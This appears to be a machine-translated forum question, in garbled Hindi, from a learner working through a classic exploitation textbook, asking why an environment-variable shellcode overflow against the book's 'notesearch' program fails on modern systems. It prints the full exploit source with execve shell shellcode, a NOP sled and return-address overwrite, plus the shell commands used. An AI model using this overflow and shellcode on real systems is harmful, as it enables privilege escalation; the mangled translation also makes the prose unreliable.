मैं काम कर रहा हूँ के माध्यम से हैकिंग: कला के शोषण और चल रहा हूँ में मेरा पहला रोड़ा प्राप्त करने की कोशिश कर एक ज्ञात काम कर रहे शोषण से चलाने के लिए पुस्तक के माध्यम से एक वातावरण चर । सभी कार्यक्रमों में संकलित किया गया है के साथ -fno-stack-protector -zexecstack -no-pie -fno-pie
.
चल रहा है exploit_notesearch.c
(यद्यपि के साथ एक बहुत विशिष्ट ऑफसेट), मैं प्राप्त करने में सक्षम था का फायदा उठाने के लिए पॉप करने के लिए एक खोल ले जाकर ऑफसेट के साथ argv[1]
. यह काम करता है पर आधुनिक OSes के साथ (ASLR विकलांग) के रूप में अच्छी तरह के रूप में LiveCD के साथ शामिल किताब है ।
exploit_notesearch.सी
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=208;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
if(argc > 1) // set offset
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; // set return address
for(i=0; i < 160; i+=4) // fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // run exploit
free(command);
}
पर आगे के अध्याय में, हम सेट shellcode करने के लिए एक वातावरण चर और प्रयास करने के लिए पुनर्निर्देशित करने के लिए प्रवाह जगह पर ढेर जहां SHELLCODE वातावरण चर सेट है, आधे रास्ते के माध्यम से prepended एनओपी स्लेज. हालांकि, यह कभी कार्यान्वित शोषण पर आधुनिक OSes लेकिन बस ठीक काम करता है में Ubuntu 7.04 लाइव सीडी के साथ आया है कि पुस्तिका है । shellcode.bin
है shellcode के शीर्ष पर exploit_notesearch.c
फ़ाइल के साथ भाग गया echo -en
और पुनर्निर्देशित में एक फ़ाइल है.
$ export SHELLCODE=$(perl -e 'print "\x90"x200')$(cat shellcode.bin)
$ ./notesearch $(perl -e 'print "\x17\xf2\xff\xbf"x40') # Address halfway through NOP sled
क्या है यहाँ पर जा रहा है कि बदल गया है के बीच पुराने ऑपरेटिंग सिस्टम और आधुनिक? वहाँ है एक सुरक्षा मैं कर रहा हूँ कि के बारे में पता है से रोकने के एनओपी स्लेज करने के लिए shellcode?
धन्यवाद ।